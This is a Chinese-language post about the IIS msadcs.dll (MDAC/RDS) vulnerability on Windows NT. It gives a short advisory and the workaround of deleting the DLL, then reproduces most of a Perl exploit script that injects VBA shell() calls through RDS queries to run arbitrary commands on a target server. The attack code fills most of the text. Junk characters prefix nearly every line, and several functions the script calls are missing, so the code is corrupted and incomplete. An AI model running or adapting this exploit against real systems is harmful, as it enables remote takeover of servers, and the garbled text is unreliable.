IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!YVGT
< ,[UK32KWI 涉及程序:
DmtCEKa Microsoft NT server
H5!e/4iz i9koh3R\ 描述:
f>hA+ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
VSjt|F)t i@m@]-2 详细:
9_-6Lwj6t 如果你没有时间读详细内容的话,就删除:
L.?QZN%cN c:\Program Files\Common Files\System\Msadc\msadcs.dll
Lvd es.0| 有关的安全问题就没有了。
B?
Z_~Bf& >r\q6f#J4 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
W+Q^u7K giYlLJA*} 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
|R&cQKaQ` 关于利用ODBC远程漏洞的描述,请参看:
/Os6i&; 6^e}^~| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J!\oH%FJp hN^,'O 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
6o
d^+>U http://www.microsoft.com/security/bulletins/MS99-025faq.asp ["^? vhv `Kbf]"4q 这里不再论述。
R8-=N+hX 8I[=iU7]l 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
p1N3AhXY ,GF]+nI89 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$1 t
IC_ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
*3\*GatJ 3O*^[$vM c!ieN9^+ #将下面这段保存为txt文件,然后: "perl -x 文件名"
oy-y QYX m+Kl
#!perl
^Na3VP #
m6uFmU*<M} # MSADC/RDS 'usage' (aka exploit) script
MY}/h@ #
|Iknk, # by rain.forest.puppy
"`NAg #
FsLd&$?T& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!bs5w_@ # beta test and find errors!
I0*N
"07n hof>:Rk use Socket; use Getopt::Std;
lVCnu>8 getopts("e:vd:h:XR", \%args);
l
>~Rzw lAR1gHhJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$R%tD.d3 xXlx}C if (!defined $args{h} && !defined $args{R}) {
vnWt8?)]^ print qq~
=QK ucLo Usage: msadc.pl -h <host> { -d <delay> -X -v }
:{
iK 5 -h <host> = host you want to scan (ip or domain)
vi.INe -d <seconds> = delay between calls, default 1 second
0avtfQ +f -X = dump Index Server path table, if available
+
}$(j#h -v = verbose
x_ t$* -e = external dictionary file for step 5
ZUD{V z\"9T?zoo Or a -R will resume a command session
`A9fanh 6L rI,d ~; exit;}
\l%##7DRp] <0;G4fE7[H $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8"TlWHF` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
pedyWA> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j\"d/{7Q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
&c} 2[= $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Yxy!&hPLv: if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1]9l
SE!E7 hXvC>ie(i if (!defined $args{R}){ $ret = &has_msadc;
gF`hlYD die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
T(,@]=d,DD X#Ob^E%J print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/;vHAtt;f . "cmd /c ";
f:t j
$in=<STDIN>; chomp $in;
&*bpEdkZ $command="cmd /c " . $in ;
U_hzSf (&u'S+ if (defined $args{R}) {&load; exit;}
M2;6Cz>,P zK I1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
I2krxLPd &try_btcustmr;
ZvLI~ul(zT f$5\ b[O print "\nStep 2: Trying to make our own DSN...";
&-w. rF@ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)c?nh3D *CbV/j"P? print "\nStep 3: Trying known DSNs...";
ta<8~n^? &known_dsn;
#
2FrP5rC cj^hwtx print "\nStep 4: Trying known .mdbs...";
CMyz!jZ3 &known_mdb;
F(ZczwvR 11k}Ly if (defined $args{e}){
{;m|\652B print "\nStep 5: Trying dictionary of DSN names...";
jtq^((Ux &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
J qmL|S) 4CtWEq print "Sorry Charley...maybe next time?\n";
7G7"Zule*j exit;
2 <@g * Z$r7Hi ##############################################################################
m.\JO lauq(aD_C sub sendraw { # ripped and modded from whisker
h(GSM'v sleep($delay); # it's a DoS on the server! At least on mine...
;.rY`<| my ($pstr)=@_;
mg>wv[ 7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g_!xD;0 die("Socket problems\n");
G{O{
p if(connect(S,pack "SnA4x8",2,80,$target)){
lA;qFXaN> select(S); $|=1;
=6f)sZpPh print $pstr; my @in=<S>;
|
+uc;[` select(STDOUT); close(S);
'1fyBU return @in;
~;YkR'q0_ } else { die("Can't connect...\n"); }}
"!fwIEG 9]lyV ##############################################################################
[Q\(kd*4 a, )/D_{1 sub make_header { # make the HTTP request
}f% Qk0^ my $msadc=<<EOT
:Bu)cy#/[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
TJ>1?W\Z User-Agent: ACTIVEDATA
(d*||" Host: $ip
D~|q^Ms,% Content-Length: $clen
_^ic@h3'X~ Connection: Keep-Alive
^R)]_ ,U+>Q!$`\^ ADCClientVersion:01.06
.u=|h3& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
-v|lM8 dTlEEgR --!ADM!ROX!YOUR!WORLD!
<OJqeUo+*\ Content-Type: application/x-varg
#XqiXM~^R Content-Length: $reqlen
opu)9]`z 2+pXtP@O EOT
- DYH>! ; $msadc=~s/\n/\r\n/g;
Lxv_{~I* return $msadc;}
{ot6ssT=D Asq&Z$bB_ ##############################################################################
%nE%^Enw yS[HYq sub make_req { # make the RDS request
sJl>evw my ($switch, $p1, $p2)=@_;
/F''4%S?E my $req=""; my $t1, $t2, $query, $dsn;
&%k_BdlkQ HCe/!2Y/% if ($switch==1){ # this is the btcustmr.mdb query
z(2G"} $query="Select * from Customers where City=" . make_shell();
"A5z!6T{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8]O#L}" $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
w\V<6_[vv. E @Rb+8}," elsif ($switch==2){ # this is general make table query
+&J1D8 $query="create table AZZ (B int, C varchar(10))";
:<0lC j $dsn="$p1";}
n!lE|if oYJ<.Yxeb elsif ($switch==3){ # this is general exploit table query
ljz=u;O) $query="select * from AZZ where C=" . make_shell();
$?VYHkX $dsn="$p1";}
g2 mq?q(g XaoVv2=G~ elsif ($switch==4){ # attempt to hork file info from index server
-~H
"zu` $query="select path from scope()";
Mii&doU $dsn="Provider=MSIDXS;";}
O#>,vf$ pL> Yx> elsif ($switch==5){ # bad query
Zw%:mZN
$query="select";
~3-+~y=o~ $dsn="$p1";}
'dv( 02(Ob $t1= make_unicode($query);
U7,.L $t2= make_unicode($dsn);
_G/uDP% $req = "\x02\x00\x03\x00";
[;'$y:L=g $req.= "\x08\x00" . pack ("S1", length($t1));
+#A~O4%t $req.= "\x00\x00" . $t1 ;
iV\*7 $req.= "\x08\x00" . pack ("S1", length($t2));
L}A2$@ $req.= "\x00\x00" . $t2 ;
o"A?Aq $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
d`j<Bbf- return $req;}
%N\8!aXnf iuM ,aF ##############################################################################
lR`.V0xA w^7[4u4 sub make_shell { # this makes the shell() statement
CwyE8v return "'|shell(\"$command\")|'";}
-&) /;u=#qu(E- ##############################################################################
R+/kx#^ vAOThj) sub make_unicode { # quick little function to convert to unicode
_=cuOo"! my ($in)=@_; my $out;
=Pp-9<&S for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
X]\; f return $out;}
bhfKhXh8 bz [?M} ##############################################################################
YhN:t? "-G7eGQ sub rdo_success { # checks for RDO return success (this is kludge)
a\B?J my (@in) = @_; my $base=content_start(@in);
F+W{R+6 if($in[$base]=~/multipart\/mixed/){
TIF =fQ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
"1p,
r&} return 0;}
UA4MtTp` 'c
>^Aai ##############################################################################
F&lSRL+v SWT)M1O2 sub make_dsn { # this makes a DSN for us
6!=q+sw/X my @drives=("c","d","e","f");
Sg\+al7 print "\nMaking DSN: ";
;D%H}+Z foreach $drive (@drives) {
rf!i?vAe print "$drive: ";
U_UN& /f my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
zOy_qozk "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
zP|^@Homk . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
bY~V?yNgKM $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{T0Au{88H return 0 if $2 eq "404"; # not found/doesn't exist
H5CL0#I if($2 eq "200") {
{ /
,?3 foreach $line (@results) {
ITz+O=I4R] return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3,Iu!KB } return 0;}
%P C[-(Q
DJ1!Xuu ##############################################################################
"DX2Mu= )d{fDwrx1 sub verify_exists {
crgVedx~} my ($page)=@_;
}z2[w@M my @results=sendraw("GET $page HTTP/1.0\n\n");
FgR9$ is+ return $results[0];}
g?u=n`k]\ L9!\\U ##############################################################################
1`~.!yd8( QM7BFS; sub try_btcustmr {
$Xs`'>," my @drives=("c","d","e","f");
Q+O./1x*, my @dirs=("winnt","winnt35","winnt351","win","windows");
e`K{ |!CAxE0d$B foreach $dir (@dirs) {
HY(XI u print "$dir -> "; # fun status so you can see progress
LYyud foreach $drive (@drives) {
f`[E^zj print "$drive: "; # ditto
[7,q@>:CS $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Ian+0
?`e $reqlenlen=length( "$reqlen" );
zT>BC}~.b $clen= 206 + $reqlenlen + $reqlen;
l4U F4IU2_CnPD my @results=sendraw(make_header() . make_req(1,$drive,$dir));
RP k'1nD if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
z00,Vr^m else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
~9@83Cs2 p@oz[017/J ##############################################################################
{W=5
J7 iv +a5 sub odbc_error {
=-:%~ng my (@in)=@_; my $base;
b_F1?:# my $base = content_start(@in);
H i8V=+ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7\98E& $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Uvm.|p_V $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d"db`8 ;S $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M KW~rrR return $in[$base+4].$in[$base+5].$in[$base+6];}
T})q/oUqK print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
V;MmPNP| print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
CqC
)H7A $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>YWK"~|i~ BT8)t.+pv ##############################################################################
;.sYE/ZVi 6Y]P7j sub verbose {
duEXp]f! my ($in)=@_;
X\Zan$oi return if !$verbose;
_";w*lg} print STDOUT "\n$in\n";}
P4yUm(@ $s1/Rmw ##############################################################################
'")'h ]Kjt@F"; sub save {
#E
Bdg my ($p1, $p2, $p3, $p4)=@_;
NL|c5y<r open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Tw$tE: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_nz_.w0H9 close OUT;}
o`QH8 (FGy"o%TP' ##############################################################################
l v:GiA"X iu<Tv,{8 sub load {
Kp7)my my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6v scu2 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
rkWy3X{%2< @p=<IN>; close(IN);
8*?H~q~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}@
U}c6/ $target= inet_aton($ip) || die("inet_aton problems");
$D65&R print "Resuming to $ip ...";
:/SGB3gb1t $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
*^{j!U37s if($p[1]==1) {
;{wzw8! $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
wpN [0^M-0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%}N01P|X> my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
z7?SuJ if (rdo_success(@results)){print "Success!\n";}
kc$W"J@ else { print "failed\n"; verbose(odbc_error(@results));}}
1!ijRr elsif ($p[1]==3){
0gKSjTqo if(run_query("$p[3]")){
(rf8"T!" print "Success!\n";} else { print "failed\n"; }}
4?x$O{D5?{ elsif ($p[1]==4){
H)+wkR!~ if(run_query($drvst . "$p[3]")){
%BkPkQA print "Success!\n"; } else { print "failed\n"; }}
?d)eri8, exit;}
%bTXu1 myZ8LQ& ##############################################################################
_^w^tfH] B o[aiT sub create_table {
04#r'UIF my ($in)=@_;
~uO9>(?D $reqlen=length( make_req(2,$in,"") ) - 28;
*3y:Wv T> $reqlenlen=length( "$reqlen" );
f{R/rb&iB $clen= 206 + $reqlenlen + $reqlen;
/}-LaiS my @results=sendraw(make_header() . make_req(2,$in,""));
TUR2|J@n return 1 if rdo_success(@results);
#tt*yOmiH my $temp= odbc_error(@results); verbose($temp);
ZOHGGO]1M return 1 if $temp=~/Table 'AZZ' already exists/;
!r_2b! dy return 0;}
y/Q,[Uzk\ 0hju@&